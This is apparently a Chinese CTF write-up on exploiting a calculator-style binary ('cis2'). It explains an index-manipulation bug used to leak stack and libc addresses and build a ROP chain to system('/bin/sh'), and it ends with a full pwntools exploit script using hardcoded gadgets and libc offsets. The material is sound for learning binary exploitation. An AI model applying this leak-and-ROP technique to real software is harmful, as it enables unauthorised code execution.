这道题最终还是本地成功远程失败,这次的原因还是too young……还是再记录一下吧。
可能是上一题折腾太久了,拿到这一题直接file看一眼strings一下就直接拖进IDA静态分析了,就是忘了例行看一下checksec和vmmap,也可能是因为这么长一段时间接触的就没有不开NX的吧,突然来个都没开NX的完全就不记得还有这茬了,看来还是修为不够。
实力懵逼:
这道题还是挺简单的,就是循环读到token中,符合%d且index在1-46的话就可以写入这个stack中,不符合%d的话就按照操作数处理:
支持的操作数有’+’,’-‘,’m’,’w’,’p’,’n’,’.’,’q’,作用很显然:
不过有个问题就是IDA把这里的变量名处理为stack,我觉得还是处理为values比较好,不然容易引起歧义,因为stack是main中出现过的一个变量名,用于定义values和index,大概是:
1 2
| values=&(stack[1]); index=&(stack[0]);
|
所以一开始的主要思路就是先操作index指向栈中存在的__libc_start_main+245的地址,把它泄漏出来,然后再根据末12bit查版本算偏移,在操作index重写返回地址就可以了。
麻烦的就是对index的操作只能控制它任意向低地址移动,向高地址移动的话就会使用values1重写移向的地址。所以想要泄漏libc_start_main+245的地址不能简单的向高处移动index,由于程序计算values[index]是通过values基址加index偏移得出来的,所以我们可以增大values基址使计算后的结果正好指向libc_start_main+245这个地址就可以泄漏它。
于是以下图中的地址为例(0x7fffffffe220存储index指针,0x0x7fffffffe228存储values值),我们需要先向低地址移动泄漏栈地址,然后回来根据泄漏的栈地址计算修改后的values值,写入values1中,再使用’w’写入0x0x7fffffffe228。这个时候再使用’p’就可以泄漏__libc_start_main+245地址。
接下来就需要类似的方式先写入values1再覆盖到目标地址中的方式(当然这个时候values1的位置也改变了),构造ROP链触发system(‘/bin/sh’)了。
但是远程因为查不到glibc版本所以又跪了。看来查版本这招本来就不该算做正确姿势……
所以正确姿势应该是在可读可写的区域直接写入shellcode再控制EIP进去……
还是附上可怜的expolit:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| from pwn import * from ctypes import * p=process('./cis2') pop_rdi_ret=int('0x400ad3',16) def w(high,value,low): for x in range(high): p.sendline('w') p.sendline(str(value)) print 'write value: '+hex(c_uint32(value).value) p.sendline('m') for x in range(low): p.sendline('.') p.sendline('w') def main(): p.recvuntil('Fight!\n\n') for x in range(33): p.sendline('.') p.sendline('p') p.recvuntil('Value: ') addr=p.recvline().strip() addr=int(addr,10) print 'leak stack addr: '+hex(c_uint32(addr).value) stack_addr=addr-420 dest_addr=stack_addr+65*4 print 'modify base addr to: '+hex(c_uint32(dest_addr).value) for x in range(9): p.sendline('w') p.sendline(str(dest_addr)) p.sendline('+') for x in range(17): p.sendline('.') p.sendline('w') p.sendline('p') p.recvuntil('Value: ') libc_prefix=p.recvline().strip() libc_prefix=int(libc_prefix,10) print 'leak libc prefix: '+hex(c_uint32(libc_prefix).value) p.sendline('.') p.sendline('p') p.recvuntil('Value: ') libc_addr=p.recvline().strip() libc_addr=int(libc_addr,10) print 'leak libc addr: '+hex(c_uint32(libc_addr).value) libc_addr=libc_addr-245 sys_addr=libc_addr-0x21a50+0x414f0 binsh_addr=libc_addr-0x21a50+0x161160 w(17,pop_rdi_ret,19) w(17,0,18) w(16,binsh_addr,17) w(15,libc_prefix,16) w(14,sys_addr,15) w(13,libc_prefix,14) p.sendline('q') p.interactive() main()
|